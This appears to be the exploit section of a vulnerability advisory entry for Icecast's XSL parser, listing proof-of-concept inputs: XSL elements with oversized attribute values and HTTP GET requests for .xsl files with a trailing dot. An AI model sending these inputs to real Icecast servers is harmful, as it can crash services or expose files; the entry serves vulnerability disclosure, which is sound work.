• info
• discussion
• exploit
• solution
• references

Icecast XSL Parser Multiple Vulnerabilities

The following examples are available:

<xsl:when test="<lots of chars>"></xsl:when>
<xsl:if test="<lots of chars>"></xsl:if>
<xsl:value-of select="<lots of chars>" />

GET /auth.xsl. HTTP/1.0
GET /status.xsl. HTTP/1.0